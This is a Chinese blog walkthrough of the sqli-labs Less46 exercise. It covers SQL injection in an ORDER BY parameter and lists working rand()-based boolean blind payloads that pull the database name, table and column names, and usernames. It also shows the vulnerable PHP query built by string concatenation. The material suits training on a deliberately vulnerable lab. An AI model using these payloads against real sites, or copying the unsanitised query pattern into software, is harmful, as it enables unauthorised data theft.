当前位置:网站首页>SQL注入 Less46(order by后的注入+rand()布尔盲注)
SQL注入 Less46(order by后的注入+rand()布尔盲注)
2022-07-31 02:27:00 【开心星人】
$id=$_GET['sort'];
$sql = "SELECT * FROM users ORDER BY $id";
我们的注入点在 order by 后面的参数中,而 order by不同于的我们在 where 后的注入点,不能使用 union 等进行注入。
测试是否存在注入点
?sort=1 desc?sort=1 asc
desc是 descend 降序意思
asc 是 ascend 升序意思
返回结果不同,说明可以注入。可利用 order by 后的一些参数进行注入
关于下面的这部分与解题无关,直接看布尔盲注的部分即可?sort=right(version(),1)?sort=left(version(),1)
返回结果都是

我觉得可能是字符型的数字,所以又试了一下
不知道是不是会自动进行类型转换啥的
?sort=5
?sort='5'
所以,left(version(),1)返回的应该确实是字符型的数字
布尔盲注
select * from users order by rand();
对users表随机进行排序。
rand()返回的是一个0-1的浮点数,order by 后面跟的是列名或列号。
这里其实可以理解成users表中增加了一个rand字段,字段值是随机产生的。根据该rand字段来对users表进行排序。所以就到达了随机排序的效果
更多原理,看这篇
MySQL-17:order by rand()
select * from users order by rand(1);select * from users order by rand(0);
?sort=rand(1)
?sort=rand(0)
?sot=rand(1=1)
?sort=rand(length(database())=8)
?sort=rand(ascii(substr(database(),1,1))=115)
?sort=rand(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101)
?sort=rand(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i')
?sort=rand(ascii(substr((select username from users limit 0,1), 1,1))=68)
当然这一题可以用时间盲注和报错注入来写的,Less47会用报错注入来写
https://blog.csdn.net/Kevinhanser/article/details/81563461
https://blog.csdn.net/weixin_43901998/article/details/107577630
边栏推荐
- [1153]mysql中between的边界范围
- 19. Support Vector Machines - Intuitive Understanding of Optimization Objectives and Large Spacing
- Can an inexperienced college graduate switch to software testing?my real case
- Drools Rule Properties, Advanced Syntax
- BAT can't sell "Medical Cloud": Hospitals flee, mountains stand, and there are rules
- Introduction and use of Drools WorkBench
- 【AcWing 62nd Weekly Game】
- Arbitrum 专访 | L2 Summer, 脱颖而出的 Arbitrum 为开发者带来了什么?
- MPPT solar charge controller data collection - through the gateway acquisition capacity battery SOC battery voltage, wi-fi
- Verify the integer input
猜你喜欢

完整复制虚拟机原理(云计算)

Force buckled brush the stairs (7/30)

Path and the largest

Layer 2 broadcast storm (cause + judgment + solution)

Crypto Life, a day in the life of a Web3 project partner

19. Support Vector Machines - Intuitive Understanding of Optimization Objectives and Large Spacing

力扣刷题之爬楼梯(7/30)

Pythagorean tuple od js

Drools WorkBench的简介与使用

静态路由+PAT+静态NAT(讲解+实验)
随机推荐
coldfusion8 background scheduled tasks take shell
CV-Model【3】:MobileNet v2
BAT卖不动「医疗云」:医院逃离、山头林立、行有行规
Pythagorean tuple od js
The difference between link and @import
Inner monologue from a female test engineer...
基于FPGA的图像实时采集
Basic learning about Redis related content
Go 项目实战-获取多级分类下的全部商品
二层广播风暴(产生原因+判断+解决)
What have I experienced to become a tester who is harder than development?
CMOS和TTL的区别?
AI中的数学思想
Arbitrum Interview | L2 Summer, what does the standout Arbitrum bring to developers?
Shell script to loop through values in log file to sum and calculate average, max and min
LeetCode 每日一题 2022/7/25-2022/7/31
[1153] The boundary range of between in mysql
Drools WorkBench的简介与使用
934. The Shortest Bridge
图像处理技术的心酸史